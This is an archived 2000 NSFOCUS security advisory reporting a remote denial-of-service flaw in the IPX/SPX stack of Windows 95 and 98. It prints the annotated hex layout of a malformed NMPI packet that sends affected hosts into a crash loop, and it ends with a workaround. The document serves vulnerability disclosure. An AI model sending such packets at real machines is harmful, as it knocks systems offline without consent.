sa_03.txt

2000-10-11T00:00:00
ID PACKETSTORM:23310
Type packetstorm
Reporter nsfocus.com
Modified 2000-10-11T00:00:00

Description

                                        
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NSFOCUS Security Advisory(SA2000-03)  
Topic: Microsoft WIN9X Malformed IPX packet Denial of Service  
Release Date£º August 16, 2000  
Affected system:  
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- Microsoft Windows 95  
- Microsoft Windows 98  
- Microsoft Windows 98 Second Edition  
Non-affected system£º  
====================  
- Microsoft Windows NT  
- Microsoft Windows 2000  
Impact:  
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NSFOCUS security team has found a security flaw in Microsoft Win9x  
IPX/SPX protocol implementation. Exploitation of this vulnerability ,  
a malicious user can perform DoS attack to cause an affected system to  
fail remotely.  
Description£º  
============  
When a WIN9x host receives a IPX NMPI packet that has the same source  
and destination machine name of its own, it will be lead to an  
infinite loop of sending and receiving packets. This attack will  
consume a large sum of CPU resource of attacked host .The host will  
crash with no reaction to any key.  
Below is the format of the packet:  
FF FF FF FF FF FF ff ff ff ff ff ff 00 65 E0 E0  
| MAC1 | MAC2 | LONG |LLC|  
03 FF FF 00 62 00 14 00 00 00 00 FF FF FF FF FF  
| MAC1  
FF 05 51 00 00 00 00 ff ff ff ff ff ff 05 50 00  
| PORT| |MAC2 | PORT|  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F1  
01 00 00 41 41 20 20 20 20 20 20 20 20 20 20 20  
| COMPUTER NAME  
20 20 20 41 41 20 20 20 20 20 20 20 20 20 20 20  
| COMPUTER NAME  
20 20 20  
Workaround:  
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Do not install IPX/SPX protocol if you don't need it.  
Microsoft has been informed.  
DISCLAIMS:  
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WARRANTY OF ANY KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS  
OR IMPLIED, EXCEPT FOR THE WARRANTIES OF MERCHANTABILITY. IN NO  
EVENTSHALL NSFOCUS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING  
DIRECT, INDIRECT, INCIDENTAL,CONSEQUENTIAL, LOSS OF BUSINESS PROFITS  
OR SPECIAL DAMAGES, EVEN IF NSFOCUS HAS BEEN ADVISED OF THE  
POSSIBILITY OF SUCH DAMAGES. DISTRIBUTION OR REPRODUTION OF THE  
INFORMATION IS PROVIDED THAT THE ADVISORY IS NOT MODIFIED IN ANY WAY.  
©Copyright 1999-2000 NSFOCUS. All Rights Reserved. Terms of use.  
NSFOCUS Security Team <security@nsfocus.com>  
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD  
(http://www.nsfocus.com)  
  
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Reserved.  
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